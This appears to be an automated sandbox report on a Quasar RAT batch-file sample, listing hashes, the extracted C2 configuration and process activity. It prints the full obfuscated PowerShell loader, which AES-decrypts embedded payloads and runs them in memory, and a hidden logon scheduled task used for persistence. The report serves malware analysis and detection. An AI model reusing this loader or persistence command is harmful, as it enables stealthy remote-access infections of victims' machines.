quasar | 9dbfff66782d04d283175444524dd531827b9e44e606ffcf5c14093f01aceb0b

General

Target

Zero.bat
Size

586KB
MD5

2ff26433125b6ce77afd2a59f74bae89
SHA1

2f5847389b977507d179ecd60cbc8590da60c5d0
SHA256

9dbfff66782d04d283175444524dd531827b9e44e606ffcf5c14093f01aceb0b
SHA512

b3764ca03df52012050b616c89d874909c0784eeb01c3013b7c6cd4c7b3c34372089de2f8942055144b5c08b830506d615d7210abf1e60beef23fe161505910d
SSDEEP

12288:Q2x918cuchSBt6dbzm7xEbT0Jjd6Gxnw6LfDK4KbMC/I7dllU5ky:QW8B6CE/0JR6GGGuwZ765b

Score

10^/10

quasar slave execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.3.0.0

Botnet

Slave

C2

runderscore00-61208.portmap.host:61208

Mutex

QSR_MUTEX_cq1PvE2FSZsrtLytho

Attributes

encryption_key
KqyNe9NPfFv7dzIbQXP4
install_name
$phantom-powershell.exe
log_directory
$phantom-Logs
reconnect_delay
3000
startup_key
Powershell
subdirectory
$phantom-zero

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2796-143-0x000002317B890000-0x000002317B8EE000-memory.dmp	family_quasar

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

2 2796 powershell.exe
3 2796 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

3284 powershell.exe
1632 powershell.exe
2796 powershell.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies data under HKEY_USERS 1 IoCs

Processes:

svchost.exe

description ioc process

Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe
Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings powershell.exe

flow	pid	process
2	2796	powershell.exe
3	2796	powershell.exe

flow	ioc
1	ip-api.com

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
3284	powershell.exe
3284	powershell.exe
1632	powershell.exe
1632	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3284	powershell.exe
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeIncreaseQuotaPrivilege	1632	powershell.exe
Token: SeSecurityPrivilege	1632	powershell.exe
Token: SeTakeOwnershipPrivilege	1632	powershell.exe
Token: SeLoadDriverPrivilege	1632	powershell.exe
Token: SeSystemProfilePrivilege	1632	powershell.exe
Token: SeSystemtimePrivilege	1632	powershell.exe
Token: SeProfSingleProcessPrivilege	1632	powershell.exe
Token: SeIncBasePriorityPrivilege	1632	powershell.exe
Token: SeCreatePagefilePrivilege	1632	powershell.exe
Token: SeBackupPrivilege	1632	powershell.exe
Token: SeRestorePrivilege	1632	powershell.exe
Token: SeShutdownPrivilege	1632	powershell.exe
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeSystemEnvironmentPrivilege	1632	powershell.exe
Token: SeRemoteShutdownPrivilege	1632	powershell.exe
Token: SeUndockPrivilege	1632	powershell.exe
Token: SeManageVolumePrivilege	1632	powershell.exe
Token: 33	1632	powershell.exe
Token: 34	1632	powershell.exe
Token: 35	1632	powershell.exe
Token: 36	1632	powershell.exe
Token: SeIncreaseQuotaPrivilege	1632	powershell.exe
Token: SeSecurityPrivilege	1632	powershell.exe
Token: SeTakeOwnershipPrivilege	1632	powershell.exe
Token: SeLoadDriverPrivilege	1632	powershell.exe
Token: SeSystemProfilePrivilege	1632	powershell.exe
Token: SeSystemtimePrivilege	1632	powershell.exe
Token: SeProfSingleProcessPrivilege	1632	powershell.exe
Token: SeIncBasePriorityPrivilege	1632	powershell.exe
Token: SeCreatePagefilePrivilege	1632	powershell.exe
Token: SeBackupPrivilege	1632	powershell.exe
Token: SeRestorePrivilege	1632	powershell.exe
Token: SeShutdownPrivilege	1632	powershell.exe
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeSystemEnvironmentPrivilege	1632	powershell.exe
Token: SeRemoteShutdownPrivilege	1632	powershell.exe
Token: SeUndockPrivilege	1632	powershell.exe
Token: SeManageVolumePrivilege	1632	powershell.exe
Token: 33	1632	powershell.exe
Token: 34	1632	powershell.exe
Token: 35	1632	powershell.exe
Token: 36	1632	powershell.exe
Token: SeIncreaseQuotaPrivilege	1632	powershell.exe
Token: SeSecurityPrivilege	1632	powershell.exe
Token: SeTakeOwnershipPrivilege	1632	powershell.exe
Token: SeLoadDriverPrivilege	1632	powershell.exe
Token: SeSystemProfilePrivilege	1632	powershell.exe
Token: SeSystemtimePrivilege	1632	powershell.exe
Token: SeProfSingleProcessPrivilege	1632	powershell.exe
Token: SeIncBasePriorityPrivilege	1632	powershell.exe
Token: SeCreatePagefilePrivilege	1632	powershell.exe
Token: SeBackupPrivilege	1632	powershell.exe
Token: SeRestorePrivilege	1632	powershell.exe
Token: SeShutdownPrivilege	1632	powershell.exe
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeSystemEnvironmentPrivilege	1632	powershell.exe
Token: SeRemoteShutdownPrivilege	1632	powershell.exe
Token: SeUndockPrivilege	1632	powershell.exe
Token: SeManageVolumePrivilege	1632	powershell.exe
Token: 33	1632	powershell.exe
Token: 34	1632	powershell.exe
Token: 35	1632	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

2796 powershell.exe

pid	process
2796	powershell.exe

Suspicious use of WriteProcessMemory 62 IoCs

Processes:

cmd.exepowershell.exeWScript.execmd.exepowershell.exe

description	pid	process	target process
PID 1644 wrote to memory of 4472	1644	cmd.exe	cmd.exe
PID 1644 wrote to memory of 4472	1644	cmd.exe	cmd.exe
PID 1644 wrote to memory of 3284	1644	cmd.exe	powershell.exe
PID 1644 wrote to memory of 3284	1644	cmd.exe	powershell.exe
PID 3284 wrote to memory of 1632	3284	powershell.exe	powershell.exe
PID 3284 wrote to memory of 1632	3284	powershell.exe	powershell.exe
PID 3284 wrote to memory of 4196	3284	powershell.exe	WScript.exe
PID 3284 wrote to memory of 4196	3284	powershell.exe	WScript.exe
PID 4196 wrote to memory of 1088	4196	WScript.exe	cmd.exe
PID 4196 wrote to memory of 1088	4196	WScript.exe	cmd.exe
PID 1088 wrote to memory of 1944	1088	cmd.exe	cmd.exe
PID 1088 wrote to memory of 1944	1088	cmd.exe	cmd.exe
PID 1088 wrote to memory of 2796	1088	cmd.exe	powershell.exe
PID 1088 wrote to memory of 2796	1088	cmd.exe	powershell.exe
PID 2796 wrote to memory of 3300	2796	powershell.exe	Explorer.EXE
PID 2796 wrote to memory of 1324	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 2164	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 3144	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1420	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 2448	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 4904	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1368	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 944	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1140	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 3700	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1920	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 4560	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1128	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 536	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1516	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 2500	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1708	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1900	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1496	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1096	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 3452	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1284	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1080	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 2648	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1660	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 3432	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 4020	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1848	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 2632	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1248	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1048	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 4392	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1040	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 2216	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 2576	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 2600	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 2364	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 824	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1804	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1796	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1204	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 612	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1000	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1984	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 2372	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1972	2796	powershell.exe	svchost.exe
PID 2796 wrote to memory of 1380	2796	powershell.exe	svchost.exe

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1000

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:612

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1248

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1380

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1496

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1804

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1972

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1984

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2164

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2448

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2576

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:1368

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3300

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Zero.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:1644

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yZYTRWMfUpdQsWzRNhgq0mFws977A+StI70yBGRnC+w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5XRuWb4gaWV6nxs5P7YgjQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DjILw=New-Object System.IO.MemoryStream(,$param_var); $TZbgX=New-Object System.IO.MemoryStream; $QZNNR=New-Object System.IO.Compression.GZipStream($DjILw, [IO.Compression.CompressionMode]::Decompress); $QZNNR.CopyTo($TZbgX); $QZNNR.Dispose(); $DjILw.Dispose(); $TZbgX.Dispose(); $TZbgX.ToArray();}function execute_function($param_var,$param2_var){ $CndPg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xOdXP=$CndPg.EntryPoint; $xOdXP.Invoke($null, $param2_var);}$KZmTg = 'C:\Users\Admin\AppData\Local\Temp\Zero.bat';$host.UI.RawUI.WindowTitle = $KZmTg;$KKBtf=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($KZmTg).Split([Environment]::NewLine);foreach ($MaKkc in $KKBtf) { if ($MaKkc.StartsWith('XIDLpYhyhveyinwDjrVI')) { $jLMlC=$MaKkc.Substring(20); break; }}$payloads_var=[string[]]$jLMlC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
3⤵
PID:4472

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3284

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_784_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_784.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1632

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_784.vbs"
4⤵
- Suspicious use of WriteProcessMemory
PID:4196

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_784.bat" "
5⤵
- Suspicious use of WriteProcessMemory
PID:1088

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yZYTRWMfUpdQsWzRNhgq0mFws977A+StI70yBGRnC+w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5XRuWb4gaWV6nxs5P7YgjQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DjILw=New-Object System.IO.MemoryStream(,$param_var); $TZbgX=New-Object System.IO.MemoryStream; $QZNNR=New-Object System.IO.Compression.GZipStream($DjILw, [IO.Compression.CompressionMode]::Decompress); $QZNNR.CopyTo($TZbgX); $QZNNR.Dispose(); $DjILw.Dispose(); $TZbgX.Dispose(); $TZbgX.ToArray();}function execute_function($param_var,$param2_var){ $CndPg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xOdXP=$CndPg.EntryPoint; $xOdXP.Invoke($null, $param2_var);}$KZmTg = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_784.bat';$host.UI.RawUI.WindowTitle = $KZmTg;$KKBtf=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($KZmTg).Split([Environment]::NewLine);foreach ($MaKkc in $KKBtf) { if ($MaKkc.StartsWith('XIDLpYhyhveyinwDjrVI')) { $jLMlC=$MaKkc.Substring(20); break; }}$payloads_var=[string[]]$jLMlC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
6⤵
PID:1944

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3144

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:1848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4560

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
df472dcddb36aa24247f8c8d8a517bd7

SHA1
6f54967355e507294cbc86662a6fbeedac9d7030

SHA256
e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

SHA512
06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
1KB

MD5
3ec0d76d886b2f4b9f1e3da7ce9e2cd7

SHA1
68a6a2b7b0fa045cd9cf7d63d4e30600a7b25dea

SHA256
214be9e8293b00fc05089068033edb41da350e0f127dd782bf6cb748000a56a5

SHA512
a49d758d03e3a7bc38be29d577c3e0d0c69eb08d0496a81b9406b446c5808d7dfbab39c5be3b45cbb4aec511d87c6166453cbd12cebe5d8663a60b5d773206c6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ss5mxmuc.5ti.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_784.bat
Filesize
586KB

MD5
2ff26433125b6ce77afd2a59f74bae89

SHA1
2f5847389b977507d179ecd60cbc8590da60c5d0

SHA256
9dbfff66782d04d283175444524dd531827b9e44e606ffcf5c14093f01aceb0b

SHA512
b3764ca03df52012050b616c89d874909c0784eeb01c3013b7c6cd4c7b3c34372089de2f8942055144b5c08b830506d615d7210abf1e60beef23fe161505910d

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_784.vbs
Filesize
124B

MD5
a020ab46f721b2eada27ae3765ec417e

SHA1
ff18ae7087576d40a9c4d0551d7d71ee5d58d81c

SHA256
9074fef96fd6cc69bf68ee2dd64b5f303f26e8c687a4c5cc2f016ecbceab0824

SHA512
e8b02674c0cfcb0ef9ce64b4d7cd6d6a3c4949b3c0a47d7b4e8d702c4889dae0f43b832b7a6f45204d318a250d51b6fa9efb679c542f3f2c78529fc2bdfaa062

Download Submit
memory/612-110-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp

Filesize
64KB

Download
memory/1080-98-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp

Filesize
64KB

Download
memory/1140-102-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp

Filesize
64KB

Download
memory/1324-95-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp

Filesize
64KB

Download
memory/1368-106-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp

Filesize
64KB

Download
memory/1420-101-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp

Filesize
64KB

Download
memory/1516-103-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp

Filesize
64KB

Download
memory/1632-30-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp

Filesize
10.8MB

Download
memory/1632-27-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp

Filesize
10.8MB

Download
memory/1632-26-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp

Filesize
10.8MB

Download
memory/1632-25-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp

Filesize
10.8MB

Download
memory/1796-108-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp

Filesize
64KB

Download
memory/1804-109-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp

Filesize
64KB

Download
memory/1920-105-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp

Filesize
64KB

Download
memory/2164-99-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp

Filesize
64KB

Download
memory/2448-100-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp

Filesize
64KB

Download
memory/2796-143-0x000002317B890000-0x000002317B8EE000-memory.dmp

Filesize
376KB

Download
memory/2796-146-0x000002317BD70000-0x000002317BDAC000-memory.dmp

Filesize
240KB

Download
memory/2796-145-0x000002317BD10000-0x000002317BD22000-memory.dmp

Filesize
72KB

Download
memory/3144-96-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp

Filesize
64KB

Download
memory/3284-10-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp

Filesize
10.8MB

Download
memory/3284-14-0x000001AAA07F0000-0x000001AAA07F8000-memory.dmp

Filesize
32KB

Download
memory/3284-0-0x00007FFA7DA33000-0x00007FFA7DA35000-memory.dmp

Filesize
8KB

Download
memory/3284-13-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp

Filesize
10.8MB

Download
memory/3284-12-0x000001AAA0840000-0x000001AAA0886000-memory.dmp

Filesize
280KB

Download
